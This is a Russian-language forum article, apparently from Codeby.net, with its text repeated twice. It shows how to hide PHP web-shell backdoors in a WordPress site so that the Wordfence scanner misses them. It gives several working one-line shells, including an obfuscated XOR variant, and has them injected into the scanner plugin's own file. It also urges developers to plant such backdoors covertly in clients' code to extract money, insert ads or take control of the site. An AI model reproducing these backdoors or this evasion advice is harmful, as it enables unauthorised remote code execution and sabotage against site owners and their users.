Содержание:
Предисловие
Приветствую читателей Codeby.net!
В статье @r0hack привёл пример как фрилансер может подстраховаться от недобросовестного заказчика оставив для себя небольшой backdoor( открытую дверцу...) в коде продукта разработанного на заказ.
Приведённый вариант используется только как пример, ведь такую закладку легко обнаружит стандартный антивирусный сканер, даже стационарный AVG при открытие страницы со статьёй начинает ругаться:
Что говорить уж о специально заточенных продуктах под "web backdoor", конечно такой код будет сразу же выявлен и обезврежен.
В этой статье рассмотрим варианты "backdoor" которые будет сложнее обнаружить антивирусным сканером, тем не менее это возможно.
Подобные "дверцы" помогут вернуть свои деньги, пусть хотя бы частично.
Ведь имея доступ к исходному коду необязательно его удалять, есть возможность не много подправить, вшить рекламу которая будет приносить небольшой доход, добавить необходимый материал который обличит недобросовестного хозяина, думаю в этом ключе можно многое придумать.
Введение
С выходом PHP 7, часть "web backdoor" отказались работать, даже обнаружили себя осыпав ошибками.Код который не смог обнаружить ни один специализированный антивирусный сканер, выявил сам себя при смене версии PHP.
Конечно альтернативных вариантов осталось достаточно, несколько из которых и будут приведены в статье.
В качестве лаборатории будет взята как наиболее популярная CMS Wordpress(
Популярный плагин для поиска malware
В панели управления CMS нажав на кнопку "Добавить новый" (плагин) открывается страница с доступными к установке плагинами, нажав на кнопку "Рекомендуемые" и вбив в поисковой строке ключевое слов "malware", видим самый популярный плагин "
"Более 3 миллионов активных установок" и самая большая оценка среди остальных, это и будет сигнал для теста.
Установив, сразу запустим сканер и убедимся в его "работоспособности" запустив первое сканирование....
Учитывая что CMS только что установлена, так сказать только из печи и не имеет ни одной лишней строчки ( за исключением нового плагина), результат сканирования отрицательный.
Популярные web "backdoor"
В качестве эксперимента добавим однострочный backdoor:
В код нескольких файлов, в том числе файла index.php, для полноты закинем отдельный скрипт с этим же backdoor в корень сайта.
Проверим работоспособность:
Теперь снова запустим сканирование:
Учитывая тот момент что плагин установлен до того как backdoor был вшит и сканирование уже было, у плагина есть с чем сравнивать модифицированные файлы, так сказать это некоторая фора для плагина.
Плагин обнаружил модификацию, так же обнаружил зловредный код в файле index.php.
Вроде сканер работает...
Пойдём дальше и закинем в корневую директорию сайта файлы с наиболее популярными однострочными backdoor.
Плагин без труда обнаружил закладки, всего обнаружил 11 вариантов backdoor ( на скрине 12 только потому что файл из первого теста не был удалён.) из более чем 25-ти.
Вот список функций которые выявил плагин:
Эти функции так же обнаруживаются многими WAF при атаках на web приложения эксплуатируя уязвимости RCE.
Примеры "backdoor" которые не определяются
Рассмотрим простейшие варианты из наиболее популярных однострочных backdoor, которые не смог выявить установленный плагин, приведу лишь несколько вариантов, на самом деле таких однострочников гораздо больше(к
Внедрим один из вариантов backdoor в тело самого плагина, файл "wp-content/plugins/wordfence/wordfence.php":
Таким образом всё будет работать ( в том числе и сканирование), а при правильном обращение к скрипту будут выполняться необходимые команды:
Так же добавим иные варианты в другие файлы:
В отдельный файл, так же прям в корневую директорию закинем такой backdoor:
Запустим сканирование и посмотрим на результат:
Как видим была выявлена только модификация двух файлов, только файлов самой cms, файл самого плагина не дал положительного результата, но он имеет вшитый backdoor.
Более того в обнаруженных модифицированных файлах не обнаружено ни какого зловредного кода:
Заключение
Учитывая тот момент что ваш код не будет сканирован на модификации, так как не с чем будет сравнивать, то скрыть кусок кода для открытие дверцы в своих исходника будет совсем не сложно.
Ведь это ваш код, вы сами его писали и прекрасно понимаете в какой части можно вставить кусочек который не будет ни чем мешать и не будет привлекать особого внимания, а так как можно обойтись одной строчкой, то вообще с этим не будет проблем.
В случае если необходимо будет оставить backdoor вне вашего кода, подойдёт любая директория CMS.
Если необходимо инфицировать файл который уже существует на сайте, то можно попробовать инфицировать файл плагина который сканирует на присутствие malware в файлах сайта.
В заключение добавлю ещё один вариант однострочного backdoor который не способен определить ни один сканер:
Не работает на php7.
P.S. К чему всё это?....
Скорей всего к вот этому сообщению, точнее наверное ответ участнику @m0ze.
Дают лишь направление, подсказывают идею, в некоторых случаях дают информацию которая способствует реализации этих идей, остальное дело за вами.
Тем более если вы разработчик, то техника реализации не должна вас затруднить.
Повторюсь, необязательно всё крушить, возможно и скрыто вшить свою рекламу которая будет приносить (пусть не большой) доход, заменить уже имеющеюся на свою(это как вариант).
Имея подобную дверцу вы можете закрепиться в системе, заменить уже имеющиеся backup файлы, получить доступ не только к сайту в котором вшит этот backdoor, можете управлять содержимым сайта в своих целях.
- Предисловие
- Введение
- Популярный плагин для поиска malware
- Популярные web "backdoor"
- Примеры "backdoor" которые не определяются
- Заключение
Предисловие
Приветствую читателей Codeby.net!
В статье @r0hack привёл пример как фрилансер может подстраховаться от недобросовестного заказчика оставив для себя небольшой backdoor( открытую дверцу...) в коде продукта разработанного на заказ.
Приведённый вариант используется только как пример, ведь такую закладку легко обнаружит стандартный антивирусный сканер, даже стационарный AVG при открытие страницы со статьёй начинает ругаться:
Что говорить уж о специально заточенных продуктах под "web backdoor", конечно такой код будет сразу же выявлен и обезврежен.
В этой статье рассмотрим варианты "backdoor" которые будет сложнее обнаружить антивирусным сканером, тем не менее это возможно.
Подобные "дверцы" помогут вернуть свои деньги, пусть хотя бы частично.
Ведь имея доступ к исходному коду необязательно его удалять, есть возможность не много подправить, вшить рекламу которая будет приносить небольшой доход, добавить необходимый материал который обличит недобросовестного хозяина, думаю в этом ключе можно многое придумать.
Введение
С выходом PHP 7, часть "web backdoor" отказались работать, даже обнаружили себя осыпав ошибками.Код который не смог обнаружить ни один специализированный антивирусный сканер, выявил сам себя при смене версии PHP.
Конечно альтернативных вариантов осталось достаточно, несколько из которых и будут приведены в статье.
В качестве лаборатории будет взята как наиболее популярная CMS Wordpress(
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
,
Ссылка скрыта от гостей
), в качестве сканера malware выбран самый популярный плагин.Популярный плагин для поиска malware
В панели управления CMS нажав на кнопку "Добавить новый" (плагин) открывается страница с доступными к установке плагинами, нажав на кнопку "Рекомендуемые" и вбив в поисковой строке ключевое слов "malware", видим самый популярный плагин "
Ссылка скрыта от гостей
""Более 3 миллионов активных установок" и самая большая оценка среди остальных, это и будет сигнал для теста.
Установив, сразу запустим сканер и убедимся в его "работоспособности" запустив первое сканирование....
Учитывая что CMS только что установлена, так сказать только из печи и не имеет ни одной лишней строчки ( за исключением нового плагина), результат сканирования отрицательный.
Популярные web "backdoor"
В качестве эксперимента добавим однострочный backdoor:
PHP:
<?php echo shell_exec($_GET['cmd']); ?>
В код нескольких файлов, в том числе файла index.php, для полноты закинем отдельный скрипт с этим же backdoor в корень сайта.
Проверим работоспособность:
Теперь снова запустим сканирование:
Учитывая тот момент что плагин установлен до того как backdoor был вшит и сканирование уже было, у плагина есть с чем сравнивать модифицированные файлы, так сказать это некоторая фора для плагина.
Плагин обнаружил модификацию, так же обнаружил зловредный код в файле index.php.
Вроде сканер работает...
Пойдём дальше и закинем в корневую директорию сайта файлы с наиболее популярными однострочными backdoor.
Плагин без труда обнаружил закладки, всего обнаружил 11 вариантов backdoor ( на скрине 12 только потому что файл из первого теста не был удалён.) из более чем 25-ти.
Вот список функций которые выявил плагин:
PHP:
assert();
eval($_GET["cmd"]);
exec();
passthru();
pcntl_exec();
preg_replace();
preg_replace_callback();
shell_exec();
system();
Эти функции так же обнаруживаются многими WAF при атаках на web приложения эксплуатируя уязвимости RCE.
Примеры "backdoor" которые не определяются
Рассмотрим простейшие варианты из наиболее популярных однострочных backdoor, которые не смог выявить установленный плагин, приведу лишь несколько вариантов, на самом деле таких однострочников гораздо больше(к
Ссылка скрыта от гостей
).Внедрим один из вариантов backdoor в тело самого плагина, файл "wp-content/plugins/wordfence/wordfence.php":
PHP:
<?php
if (!isset($_GET['cmd']) && !isset($_GET['arg']) ){
// body file
}else{
$a=$_REQUEST['cmd'];
$b=$_REQUEST['arg'];
register_shutdown_function(create_function('', "$a($b);"));
}
Таким образом всё будет работать ( в том числе и сканирование), а при правильном обращение к скрипту будут выполняться необходимые команды:
Так же добавим иные варианты в другие файлы:
PHP:
if (isset($_REQUEST['cmd'])){
$h= popen($_REQUEST['cmd'],'r');
while ($s = fgets($h)) { //fread($h,1024)
echo $s;
}
pclose($h);
}
PHP:
<?php
if (!isset($_GET['cmd']) && !isset($_GET['arg']) ){
// body file
}else{
//.php?cmd=system&arg=whoami
array_map($_REQUEST['cmd'], array($_REQUEST['arg']));
}
В отдельный файл, так же прям в корневую директорию закинем такой backdoor:
PHP:
<?php
//extract.php?a=system&b=whoami
extract($_REQUEST);
$a($b);
?>
Запустим сканирование и посмотрим на результат:
Как видим была выявлена только модификация двух файлов, только файлов самой cms, файл самого плагина не дал положительного результата, но он имеет вшитый backdoor.
Более того в обнаруженных модифицированных файлах не обнаружено ни какого зловредного кода:
Заключение
Учитывая тот момент что ваш код не будет сканирован на модификации, так как не с чем будет сравнивать, то скрыть кусок кода для открытие дверцы в своих исходника будет совсем не сложно.
Ведь это ваш код, вы сами его писали и прекрасно понимаете в какой части можно вставить кусочек который не будет ни чем мешать и не будет привлекать особого внимания, а так как можно обойтись одной строчкой, то вообще с этим не будет проблем.
В случае если необходимо будет оставить backdoor вне вашего кода, подойдёт любая директория CMS.
Если необходимо инфицировать файл который уже существует на сайте, то можно попробовать инфицировать файл плагина который сканирует на присутствие malware в файлах сайта.
В заключение добавлю ещё один вариант однострочного backdoor который не способен определить ни один сканер:
PHP:
<?=$_="`{{{"^"?<>/";${$_}[_](${$_}[__]);
//.php?_=system&__=whoami
Не работает на php7.
P.S. К чему всё это?....
Скорей всего к вот этому сообщению, точнее наверное ответ участнику @m0ze.
Дают лишь направление, подсказывают идею, в некоторых случаях дают информацию которая способствует реализации этих идей, остальное дело за вами.
Тем более если вы разработчик, то техника реализации не должна вас затруднить.
Повторюсь, необязательно всё крушить, возможно и скрыто вшить свою рекламу которая будет приносить (пусть не большой) доход, заменить уже имеющеюся на свою(это как вариант).
Имея подобную дверцу вы можете закрепиться в системе, заменить уже имеющиеся backup файлы, получить доступ не только к сайту в котором вшит этот backdoor, можете управлять содержимым сайта в своих целях.
Последнее редактирование: